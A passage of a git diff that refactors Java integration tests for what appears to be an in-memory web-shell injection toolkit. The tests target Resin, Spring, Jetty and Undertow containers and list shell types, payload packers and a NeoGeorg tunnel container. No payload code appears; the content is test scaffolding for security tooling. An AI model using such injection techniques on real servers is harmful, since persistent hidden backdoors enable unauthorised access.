"/usr/local/resin4/webapps/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(resinPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.Resin; - List supportedShellTypes = List.of( - ShellType.FILTER, - ShellType.LISTENER, - ShellType.AGENT_FILTER_CHAIN - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V11, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.FILTER, - ShellType.LISTENER,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Resin, shellType, Opcodes.V1_6); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } -} \ No newline at end of file +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot2WebFluxContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot2WebFluxContainerTest.java index 2f284f14..68a2092f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot2WebFluxContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot2WebFluxContainerTest.java @@ -1,78 +1,54 @@ package com.reajason.javaweb.integration.memshell.springwebflux; import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ContainerTool; +import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.neoGeorgDockerfile; -import static com.reajason.javaweb.integration.ContainerTool.springBoot2WebfluxDockerfile; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/22 */ @Testcontainers -@Slf4j -public class SpringBoot2WebFluxContainerTest { - public static final String imageName = "springboot2-webflux"; - - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class SpringBoot2WebFluxContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder() + .imageName("eclipse-temurin:8u472-b08-jdk") + .jarFile(ContainerTool.springBoot2WebfluxJarFile) + .jarDeployPath("/app/app.jar") + .command("java -jar /app/app.jar") + .server(Server.SpringWebFlux) + .targetJdkVersion(Opcodes.V1_8) + .enableJspPackerTest(false) + .contextPath("") + .healthCheckPath("/test") + .jattachFile(null) + .supportedShellTypes(List.of( + ShellType.SPRING_WEBFLUX_WEB_FILTER, + ShellType.SPRING_WEBFLUX_HANDLER_METHOD, + ShellType.NETTY_HANDLER + )) + .testPackers(List.of(Packers.Base64)) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer container = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(springBoot2WebfluxDockerfile)) - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/test")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.SpringWebFlux; - List supportedShellTypes = List.of(ShellType.SPRING_WEBFLUX_WEB_FILTER, ShellType.SPRING_WEBFLUX_HANDLER_METHOD, ShellType.NETTY_HANDLER); - List testPackers = List.of(Packers.Base64); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info("container stopped, logs is : {}", logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.SpringWebFlux, shellType, shellTool, Opcodes.V1_8, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - public static String getUrl(GenericContainer container) { - String host = container.getHost(); - int port = container.getMappedPort(8080); - String url = "http://" + host + ":" + port; - log.info("container started, app url is : {}", url); - return url; + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot3WebFluxContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot3WebFluxContainerTest.java index e84ff663..c66817af 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot3WebFluxContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot3WebFluxContainerTest.java @@ -1,76 +1,53 @@ package com.reajason.javaweb.integration.memshell.springwebflux; import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ContainerTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.neoGeorgDockerfile; -import static com.reajason.javaweb.integration.ContainerTool.springBoot3WebfluxDockerfile; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/22 */ @Testcontainers -@Slf4j -public class SpringBoot3WebFluxContainerTest { - public static final String imageName = "springboot3-webflux"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class SpringBoot3WebFluxContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder() + .imageName("eclipse-temurin:17.0.17_10-jdk") + .jarFile(ContainerTool.springBoot3WebfluxJarFile) + .jarDeployPath("/app/app.jar") + .command("java -jar /app/app.jar") + .server(Server.SpringWebFlux) + .targetJdkVersion(Opcodes.V17) + .enableJspPackerTest(false) + .contextPath("") + .healthCheckPath("/test") + .jattachFile(null) + .supportedShellTypes(List.of( + ShellType.SPRING_WEBFLUX_WEB_FILTER, + ShellType.SPRING_WEBFLUX_HANDLER_METHOD, + ShellType.NETTY_HANDLER + )) + .testPackers(List.of(Packers.Base64)) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer container = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(springBoot3WebfluxDockerfile)) - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/test")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.SpringWebFlux; - List supportedShellTypes = List.of(ShellType.SPRING_WEBFLUX_WEB_FILTER, ShellType.SPRING_WEBFLUX_HANDLER_METHOD, ShellType.NETTY_HANDLER); - List testPackers = List.of(Packers.Base64); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.SpringWebFlux, shellType, shellTool, Opcodes.V17, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - public static String getUrl(GenericContainer container) { - String host = container.getHost(); - int port = container.getMappedPort(8080); - String url = "http://" + host + ":" + port; - log.info("container started, app url is : {}", url); - return url; + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot1ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot1ContainerTest.java index fe047fa6..4be86a53 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot1ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot1ContainerTest.java @@ -1,92 +1,58 @@ package com.reajason.javaweb.integration.memshell.springwebmvc; import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ContainerTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/22 */ @Testcontainers -@Slf4j -public class SpringBoot1ContainerTest { - public static final String imageName = "springboot1"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class SpringBoot1ContainerTest extends AbstractContainerTest { + + private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder() + .imageName("eclipse-temurin:8u472-b08-jdk") + .jarFile(ContainerTool.springBoot1JarFile) + .jarDeployPath("/app/app.jar") + .command("java -jar /app/app.jar") + .server(Server.SpringWebMvc) + .pidScript(ContainerTool.springbootPid) + .targetJdkVersion(Opcodes.V1_8) + .enableJspPackerTest(false) + .contextPath("") + .healthCheckPath("/test") + .supportedShellTypes(List.of( + ShellType.SPRING_WEBMVC_INTERCEPTOR, + ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, + ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET + )) + .testPackers(List.of(Packers.SpEL)) + .probeShellTypes(List.of( + ShellType.SPRING_WEBMVC_INTERCEPTOR, + ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer container = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(springBoot1Dockerfile)) - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(springbootPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/test")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.SpringWebMvc; - List supportedShellTypes = List.of( - ShellType.SPRING_WEBMVC_INTERCEPTOR, - ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, - ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET - ); - List testPackers = List.of(Packers.SpEL); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python); - } + public static final GenericContainer python = buildPythonContainer(network); - public static String getUrl(GenericContainer container) { - String host = container.getHost(); - int port = container.getMappedPort(8080); - String url = "http://" + host + ":" + port; - log.info("container started, app url is : {}", url); - return url; - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.SPRING_WEBMVC_INTERCEPTOR, - ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.SpringWebMvc, shellType, Opcodes.V1_8); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2ContainerTest.java index 84520b86..3dc38c2c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2ContainerTest.java @@ -1,114 +1,85 @@ package com.reajason.javaweb.integration.memshell.springwebmvc; import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ContainerTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; - /** * @author ReaJason * @since 2024/12/22 */ @Testcontainers -@Slf4j -public class SpringBoot2ContainerTest { - public static final String imageName = "springboot2"; +public class SpringBoot2ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder() + .imageName("eclipse-temurin:8u472-b08-jdk") + .jarFile(ContainerTool.springBoot2JarFile) + .jarDeployPath("/app/app.jar") + .command("java -jar /app/app.jar") + .server(Server.SpringWebMvc) + .pidScript(ContainerTool.javaPid) + .enableJspPackerTest(false) + .targetJdkVersion(Opcodes.V1_8) + .contextPath("") + .healthCheckPath("/test") + .supportedShellTypes(List.of( + ShellType.SPRING_WEBMVC_INTERCEPTOR, + ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, + ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET + )) + .testPackers(List.of(Packers.H2JS)) + .probeShellTypes(List.of( + ShellType.SPRING_WEBMVC_INTERCEPTOR, + ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER + )) + .build(); - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); + private static final ContainerTestConfig TOMCAT_CONFIG = ContainerTestConfig.builder() + .imageName("springboot-2") + .server(Server.Tomcat) + .targetJdkVersion(Opcodes.V1_8) + .supportedShellTypes(List.of( + ShellType.FILTER, + ShellType.VALVE, + ShellType.WEBSOCKET, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .testPackers(List.of(Packers.H2JS)) + .build(); + static Network network = newNetwork(); @Container - public final static GenericContainer container = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(springBoot2Dockerfile)) - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(javaPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/test")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.SpringWebMvc; - List supportedShellTypes = List.of( - ShellType.SPRING_WEBMVC_INTERCEPTOR, - ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, - ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET - ); - List testPackers = List.of(Packers.H2JS); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } + public static final GenericContainer python = buildPythonContainer(network); - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python); - } - - public static String getUrl(GenericContainer container) { - String host = container.getHost(); - int port = container.getMappedPort(8080); - String url = "http://" + host + ":" + port; - log.info("container started, app url is : {}", url); - return url; - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); static Stream tomcatCasesProvider() { - String server = Server.Tomcat; - List supportedShellTypes = List.of( - ShellType.FILTER, -// ShellType.LISTENER, - ShellType.VALVE, - ShellType.WEBSOCKET, - ShellType.AGENT_FILTER_CHAIN, - ShellType.CATALINA_AGENT_CONTEXT_VALVE - ); - List testPackers = List.of(Packers.H2JS); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); + return generateTestCases(TOMCAT_CONFIG); } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("tomcatCasesProvider") void testTomcat(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container, python); + runShellInject(TOMCAT_CONFIG, shellType, shellTool, packer); } - @ParameterizedTest - @ValueSource(strings = {ShellType.SPRING_WEBMVC_INTERCEPTOR, - ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.SpringWebMvc, shellType, Opcodes.V1_8); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2JettyContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2JettyContainerTest.java index a197edc1..5b58017b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2JettyContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2JettyContainerTest.java @@ -1,104 +1,82 @@ package com.reajason.javaweb.integration.memshell.springwebmvc; import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ContainerTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; - /** * @author ReaJason * @since 2024/12/22 */ @Testcontainers -@Slf4j -public class SpringBoot2JettyContainerTest { - public static final String imageName = "springboot2-jetty"; - - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class SpringBoot2JettyContainerTest extends AbstractContainerTest { - @Container - public final static GenericContainer container = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(springBoot2JettyDockerfile)) - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(springbootPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/test")) - .withExposedPorts(8080); + private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder() + .imageName("eclipse-temurin:8u472-b08-jdk") + .jarFile(ContainerTool.springBoot2JettyJarFile) + .jarDeployPath("/app/app.jar") + .command("java -jar /app/app.jar") + .server(Server.SpringWebMvc) + .pidScript(ContainerTool.springbootPid) + .enableJspPackerTest(false) + .targetJdkVersion(Opcodes.V1_8) + .contextPath("") + .healthCheckPath("/test") + .supportedShellTypes(List.of( + ShellType.SPRING_WEBMVC_INTERCEPTOR, + ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, + ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET + )) + .testPackers(List.of(Packers.SpEL)) + .build(); - static Stream casesProvider() { - String server = Server.SpringWebMvc; - List supportedShellTypes = List.of( - ShellType.SPRING_WEBMVC_INTERCEPTOR, - ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, - ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET - ); - List testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } + private static final ContainerTestConfig JETTY_CONFIG = ContainerTestConfig.builder() + .imageName("springboot2-jetty") + .server(Server.Jetty) + .serverVersion("7+") + .targetJdkVersion(Opcodes.V1_8) + .supportedShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.HANDLER, + ShellType.CUSTOMIZER, + ShellType.JETTY_AGENT_HANDLER + )) + .testPackers(List.of(Packers.SpEL)) + .build(); - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python); - } + static Network network = newNetwork(); + @Container + public static final GenericContainer python = buildPythonContainer(network); - public static String getUrl(GenericContainer container) { - String host = container.getHost(); - int port = container.getMappedPort(8080); - String url = "http://" + host + ":" + port; - log.info("container started, app url is : {}", url); - return url; - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - static Stream jettyCasesProvider() { - String server = Server.Jetty; - List supportedShellTypes = List.of( - ShellType.SERVLET, - ShellType.FILTER, - ShellType.HANDLER, - ShellType.CUSTOMIZER, -// ShellType.LISTENER, - ShellType.JETTY_AGENT_HANDLER - ); - List testPackers = List.of(Packers.SpEL); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); + static Stream jettyCasesProvider() { + return generateTestCases(JETTY_CONFIG); } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("jettyCasesProvider") void testJetty(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_8, packer, container, python); + runShellInject(JETTY_CONFIG, shellType, shellTool, packer); + } + + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2UndertowContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2UndertowContainerTest.java index eb11f68d..823c5dfb 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2UndertowContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2UndertowContainerTest.java @@ -1,102 +1,78 @@ package com.reajason.javaweb.integration.memshell.springwebmvc; import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ContainerTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; - /** * @author ReaJason * @since 2024/12/22 */ @Testcontainers -@Slf4j -public class SpringBoot2UndertowContainerTest { - public static final String imageName = "springboot2-undertow"; +public class SpringBoot2UndertowContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder() + .imageName("eclipse-temurin:8u472-b08-jdk") + .jarFile(ContainerTool.springBoot2UndertowJarFile) + .jarDeployPath("/app/app.jar") + .command("java -jar /app/app.jar") + .server(Server.SpringWebMvc) + .pidScript(ContainerTool.springbootPid) + .enableJspPackerTest(false) + .targetJdkVersion(Opcodes.V1_8) + .contextPath("") + .healthCheckPath("/test") + .supportedShellTypes(List.of( + ShellType.SPRING_WEBMVC_INTERCEPTOR, + ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, + ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET + )) + .testPackers(List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64)) + .build(); - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); + private static final ContainerTestConfig UNDERTOW_CONFIG = ContainerTestConfig.builder() + .imageName("springboot2-undertow") + .server(Server.Undertow) + .targetJdkVersion(Opcodes.V1_8) + .supportedShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.UNDERTOW_AGENT_SERVLET_HANDLER + )) + .testPackers(List.of(Packers.SpEL)) + .build(); + static Network network = newNetwork(); @Container - public final static GenericContainer container = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(springBoot2UndertowDockerfile)) - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(springbootPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/test")) - .withExposedPorts(8080); + public static final GenericContainer python = buildPythonContainer(network); - static Stream casesProvider() { - String server = Server.SpringWebMvc; - List supportedShellTypes = List.of( - ShellType.SPRING_WEBMVC_INTERCEPTOR, - ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, - 